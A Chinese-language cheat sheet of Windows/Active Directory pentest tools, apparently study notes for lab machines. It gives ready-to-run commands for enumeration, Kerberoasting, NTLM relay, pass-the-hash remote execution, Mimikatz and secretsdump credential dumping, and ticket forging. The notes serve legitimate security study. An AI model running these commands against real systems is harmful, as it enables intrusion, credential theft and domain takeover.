windows工具笔记
阶段 0:目标发现与服务识别
nmap
常见攻击场景:
- 初始踩点识别 DC 与域成员主机。
- 确认 SMB/LDAP/Kerberos/WinRM/RDP 是否开放。
常用参数(含解释):
-sC:运行默认 NSE 脚本,快速获取服务信息。-sV:识别服务版本。-p-:扫描全部 TCP 端口。-Pn:跳过主机发现,目标禁 ping 时常用。-oA <name>:同时输出nmap/gnmap/xml。--min-rate <num>:提高最小发包速率,提速但更吵。
示例:
1 | nmap -sC -sV -p 53,88,135,139,389,445,464,636,3268,5985,3389 10.10.10.10 -oA dc_scan |
阶段 1:匿名/低权限信息枚举
smbclient
常见攻击场景:
- 匿名或低权限访问
SYSVOL/NETLOGON。 - 下载 GPP 等配置文件,提取潜在凭据。
常用参数(含解释):
-L //host:列共享。-N:空口令连接。-U user%pass:指定用户名密码。-I <IP>:指定目标 IP(DNS 解析异常时好用)。-c '<command>':非交互执行命令。
示例:
1 | smbclient -L //10.10.10.100 -N |
smbmap
常见攻击场景:
- 快速查看共享目录可读/可写权限。
- 递归列目录、下载或上传文件。
常用参数(含解释):
-H <IP>:目标主机。-u/-p:用户名和密码。-d <domain>:域名。-R:递归列目录。-A <regex>:下载匹配文件。--download <path>:下载远程文件。--upload <src> <dst>:上传文件。
示例:
1 | smbmap -d active.htb -H 10.10.10.100 -u SVC_TGS -p GPPstillStandingStrong2k18 |
enum4linux-ng / enum4linux
常见攻击场景:
- SMB 面快速全量枚举用户、组、共享、策略。
- 喷洒前先确认密码策略。
常用参数(含解释):
-A/-a:全量枚举。-U:枚举用户。-G:枚举组。-S:枚举共享。-P:读取密码策略。-u/-p:带凭据枚举。
示例:
1 | enum4linux -a 10.10.10.10 |
rpcclient
常见攻击场景:
- 匿名/低权枚举域用户、域组、SID。
- 与 SMB/LDAP 枚举结果交叉验证。
常用参数与交互命令(含解释):
-U <user>:用户名(空用户可匿名尝试)。-N:不提示密码。enumdomusers:枚举域用户。enumdomgroups:枚举域组。queryuser <rid>:查看用户详情。lsaquery:查询域 SID。
示例:
1 | rpcclient -U '' -N 10.10.10.10 |
ldapsearch
常见攻击场景:
- 枚举用户、组、计算机对象。
- 查询 SPN 用户,为 Kerberoast 准备目标。
常用参数(含解释):
-x:简单认证。-H ldap://<ip>:LDAP 服务地址。-D <bind_dn>:绑定账户。-w <pass>:绑定密码。-b <base_dn>:查询基准 DN。'(filter)':查询过滤器。
示例:
1 | ldapsearch -x -H ldap://10.10.10.10 -D 'corp\\jerry' -w 'Summer2025!' -b 'DC=corp,DC=local' '(objectClass=user)' sAMAccountName memberOf |
GetADUsers.py(Impacket)
常见攻击场景:
- 拿到一组域凭据后快速枚举域用户属性。
常用参数(含解释):
-all:输出更多属性(描述/邮箱/时间等)。-dc-ip <IP>:指定域控 IP。<domain>/<user>:<password>:认证格式。
示例:
1 | GetADUsers.py -all active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 |
BloodHound + SharpHound
常见攻击场景:
- 找“当前权限 -> 域管”的最短路径。
- 分析 ACL、会话、委派、信任关系。
常用参数(含解释):
-c All:全量收集。-d <domain>:指定域。--domaincontroller <IP>:指定 DC。--zip/--zipfilename:打包结果导入 BloodHound。
示例:
1 | SharpHound.exe -d active.htb -c All --domaincontroller 10.10.10.100 --zip |
阶段 2:账号发现与认证攻击
kerbrute
常见攻击场景:
- 用户名有效性枚举。
- 密码喷洒。
常用子命令/参数(含解释):
userenum:用户枚举。passwordspray:密码喷洒。bruteuser:单用户爆破(高风险)。bruteforce:组合爆破。-d <domain>:域名。--dc <IP>:域控。
示例:
1 | kerbrute userenum -d corp.local --dc 10.10.10.10 users.txt |
GetNPUsers.py(AS-REP Roast)
常见攻击场景:
- 获取无预认证用户的 AS-REP hash 离线破解。
常用参数(含解释):
-usersfile <file>:用户列表。-format hashcat:输出 hashcat 格式。-outputfile <file>:保存结果。-dc-ip <IP>:指定 DC。
示例:
1 | GetNPUsers.py corp.local/ -dc-ip 10.10.10.10 -usersfile users.txt -format hashcat -outputfile asrep.hash |
GetUserSPNs.py(Kerberoast)
常见攻击场景:
- 请求服务票据,离线破解服务账号密码。
常用参数(含解释):
-request:请求 TGS hash。-dc-ip <IP>:指定 DC。-t <user>:仅针对特定用户。-outputfile <file>:保存 hash。
示例:
1 | GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -request -dc-ip 10.10.10.100 -outputfile kerberoast.hash |
gpp-decrypt
常见攻击场景:
- 解密 GPP 中
cpassword。
常见步骤:
- 用
smbclient/smbmap下载Groups.xml。 - 提取
cpassword。 - 执行
gpp-decrypt <cpassword>。
hashcat
常见攻击场景:
- 破解 AS-REP / Kerberoast / NTLM 哈希。
常用参数(含解释):
-m <mode>:哈希类型。-a 0:字典攻击。-r <rule>:规则增强。--show:显示已破解结果。
常见模式:
18200:AS-REP13100:Kerberoast5600:NTLM
示例:
1 | hashcat -m 18200 -a 0 asrep.hash /usr/share/wordlists/rockyou.txt |
john
常见攻击场景:
- 小规模 hash 快速验证。
常用参数(含解释):
--wordlist=<file>:字典。--rules:规则变形。--format=<type>:哈希格式。--show:显示已破解条目。
示例:
1 | john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt |
Responder
常见攻击场景:
- 诱导认证并捕获 NetNTLMv1/v2。
常用参数(含解释):
-I <iface>:监听网卡。-w:启用 WPAD。-v:详细输出。
示例:
1 | responder -I eth0 -wv |
SCF 文件诱导(技巧)
常见攻击场景:
- 在可写共享投放
.scf,触发 UNC 认证请求。
示例:
1 | [Shell] |
ntlmrelayx.py
常见攻击场景:
- 将捕获到的 NTLM 认证中继到 SMB/LDAP。
常用参数(含解释):
-tf <targets.txt>:目标列表。-t <target>:单目标。-smb2support:启用 SMB2。--escalate-user <user>:LDAP 场景提权。
示例:
1 | ntlmrelayx.py -tf targets.txt -smb2support |
阶段 3:拿会话与验证可登录面
NetExec(nxc)
说明:crackmapexec 的后继社区版本。
常见攻击场景:
- 喷洒后批量验证 SMB/WinRM 登录。
- 枚举共享与会话,确认横向目标。
常用参数(含解释):
smb/winrm/ldap:协议模块。-u/-p:用户名密码(支持文件)。-H <nthash>:PTH 登录。--shares/--sessions:共享与会话。-X '<cmd>':远程命令执行。
示例:
1 | nxc smb 10.10.10.0/24 -u users.txt -p pass.txt --continue-on-success |
evil-winrm
常见攻击场景:
- 5985/5986 开放时拿稳定 PowerShell 会话。
常用参数(含解释):
-i:目标 IP。-u:用户名。-p:密码。-H:NTLM hash。-P:端口。-S:HTTPS。
示例:
1 | evil-winrm -i 10.10.10.20 -u administrator -p 'P@ssw0rd!' |
winrs.exe
常见攻击场景:
- Windows 原生 WinRM 客户端远程执行。
常用参数(含解释):
-r:<target>:目标。-u:<user>:用户名。-p:<pass>:密码。-d:<path>:启动目录。
示例:
1 | winrs -r:10.10.10.20 -u:corp\jerry -p:Summer2025! cmd |
xfreerdp
常见攻击场景:
- 图形化登录 Windows 主机,执行桌面侧操作。
常用参数(含解释):
/v:<IP>:目标。/u:<user>:用户。/p:<pass>:密码。/pth:<hash>:PTH。/d:<domain>:域。/cert:ignore:忽略证书。/dynamic-resolution:动态分辨率。/drive:share,/tmp:本地目录映射。+clipboard:共享剪贴板。
示例:
1 | xfreerdp /v:10.10.10.20 /u:administrator /p:'P@ssw0rd!' /cert:ignore /dynamic-resolution +clipboard |
阶段 4:横向移动与远程执行
psexec.py(Impacket)
工作原理:
- 通过 SMB 连接
ADMIN$,上传服务程序并经 RPC 创建/启动服务,获得交互 shell。
常用参数(含解释):
-hashes :<NTHASH>:使用 NTLM hash。DOMAIN/USER@TARGET:目标身份格式。'whoami':可直接指定执行命令。
示例:
1 | impacket-psexec -hashes :<NT_HASH> DOMAIN/USERNAME@<TARGET_IP> |
smbexec.py(Impacket)
工作原理:
- 通过 RPC 创建服务执行命令,将输出重定向到 SMB 共享再回读。
常用参数(含解释):
-hashes :<NTHASH>:PTH。DOMAIN/USER@TARGET:目标身份。
示例:
1 | impacket-smbexec -hashes :<NT_HASH> DOMAIN/USERNAME@<TARGET_IP> |
wmiexec.py(Impacket)
工作原理:
- 通过 WMI/DCOM(135+高端口)远程执行,通常更隐蔽。
常用参数(含解释):
-hashes :<NTHASH>:PTH。DOMAIN/USER@TARGET:目标身份。
示例:
1 | impacket-wmiexec -hashes :<NT_HASH> DOMAIN/USERNAME@<TARGET_IP> |
atexec.py(Impacket)
工作原理:
- 通过计划任务机制执行命令。
常用参数(含解释):
<domain>/<user>:<pass>@<target>:认证目标。-hashes:支持 hash 认证。
dcomexec.py(Impacket)
工作原理:
- 使用 DCOM 不同端点远程执行命令。
常用参数(含解释):
-hashes:hash 认证。<domain>/<user>@<target>:目标。
runas
常见攻击场景:
- 切换网络身份访问资源。
/netonly常用于跨域资源访问。
常用参数(含解释):
/user:<domain\user>:指定用户。/netonly:仅网络访问使用该凭据。/savecred:使用已保存凭据(重点审计项)。/noprofile:不加载配置文件。
示例:
1 | runas /netonly /user:active.htb\svc_tgs cmd |
sc.exe
常见攻击场景:
- 远程创建/启动服务执行命令。
- 服务配置不当场景中的提权利用。
常用参数(含解释):
\\TARGET:远程目标。create/start/stop/delete/query/config:服务管理动作。
示例:
1 | sc \\192.168.1.50 query |
schtasks
常见攻击场景:
- 远程创建并立即执行任务。
- 横向后做短期持久化。
常用参数(含解释):
/s TARGET:远程目标。/create:创建任务。/run:立即运行任务。/delete /f:删除任务并强制。/RU SYSTEM:SYSTEM 身份执行。/tn:任务名称。
示例:
1 | schtasks /s TARGET /RU "SYSTEM" /create /tn "THMtask1" /tr "cmd /c whoami > C:\Windows\Temp\w.txt" /sc ONCE /sd 01/01/1970 /st 00:00 |
chisel
常见攻击场景:
- 双网段环境建立 SOCKS 隧道。
- 端口转发让本地工具访问内网服务。
常用参数(含解释):
server -p <port>:服务端监听。--reverse:反向隧道。client <server:port> R:socks:建立反向 socks。
示例:
1 | # 攻击机 |
阶段 5:本地提权与凭据提取
winPEAS(PEASS-ng)
常见攻击场景:
- 快速识别本地提权路径和配置错误。
常用参数(含解释):
winPEASx64.exe:全量扫描。quiet cmd fast:低噪音、较快扫描。
示例:
1 | winPEASx64.exe |
Potato 系列(BadPotato / SweetPotato)
常见攻击场景:
- 具备
SeImpersonatePrivilege时尝试提权到 SYSTEM。
注意:
- 必须先确认权限条件,否则成功率低。
Mimikatz
常见攻击场景:
- 抓取明文/哈希/票据。
- DCSync 抓域高价值哈希。
常用命令(含解释):
privilege::debug:起手式,开启调试权限。sekurlsa::logonpasswords:抓登录会话凭据。sekurlsa::msv:只看 hash。lsadump::sam:导出本机 SAM。lsadump::secrets:读取 LSA Secrets。lsadump::dcsync /domain:<d> /user:<u>:执行 DCSync。sekurlsa::tickets /export:导出票据。kerberos::ptt <kirbi>:注入票据。token::list/elevate/revert:令牌操作。
secretsdump.py(Impacket)
常见攻击场景:
- 导出本地/域控凭据材料。
常用参数(含解释):
-hashes :<nthash>:Hash 登录。-just-dc-ntlm:仅导出域 NTLM。-ntds <file> -system <file> LOCAL:离线解析。
示例:
1 | secretsdump.py corp.local/administrator@10.10.10.10 -hashes :<NTHASH> |
阶段 6:域提权、票据与持久化
certipy
常见攻击场景:
- 枚举 AD CS 模板误配(ESC)。
- 证书滥用获取高权身份。
常用子命令/参数(含解释):
find:枚举模板漏洞。req:申请证书。auth:用 PFX 认证。-u/-p:账户凭据。-dc-ip:域控。-vulnerable:仅显示可利用模板。-ca/-template/-upn:指定 CA、模板、目标 UPN。
示例:
1 | certipy find -u jerry@corp.local -p 'Summer2025!' -dc-ip 10.10.10.10 -vulnerable |
Rubeus
常见攻击场景:
- Kerberoast / AS-REP roast。
- 票据注入与会话票据管理。
常用子命令(含解释):
kerberoast:导出可破解 TGS。asreproast:导出 AS-REP。triage:查看票据。ptt:Pass-the-Ticket。
示例:
1 | Rubeus.exe kerberoast /outfile:kerberoast.txt |
ticketer.py(Impacket)
常见攻击场景:
- 伪造黄金/白银票据(高风险、高权限前提)。
常用参数(含解释):
-domain <domain>:域名。-domain-sid <sid>:域 SID。-nthash <krbtgt_hash>:KRBTGT 哈希。<username>:伪造身份用户名。
阶段 7:后渗透基础命令与辅助框架
常见 Windows 内置命令(拿到 shell 后)
whoami /all:身份、组、特权ipconfig /all:网络和 DNSsysteminfo:系统与补丁net user /domain:域用户net group "Domain Admins" /domain:域管成员nltest /dclist:<domain>:域控列表klist:票据缓存
Nishang(PowerShell 框架)
常见攻击场景:
- PowerShell 场景下脚本化后渗透。
注意要点:
- 常见要求 PowerShell v3+
- 导入模块:
Import-Module .\nishang.psm1 - 执行策略调整和绕过动作应仅用于授权实验环境
Impacket 工具包其他脚本说明
除本笔记中已经在各阶段使用的脚本外,常见还有:
smbserver.py:快速搭建 SMB 服务(传文件/诱导认证)rpcdump.py:枚举 RPC 端点rpcmap.py:枚举/探测 RPC 接口(可配合爆破 opnum/uuid)lookupsid.py:SID 枚举用户组GetTGT.py:基于密码/hash/aesKey 请求 TGTsmbclient.py:Impacket 自带 SMB 客户端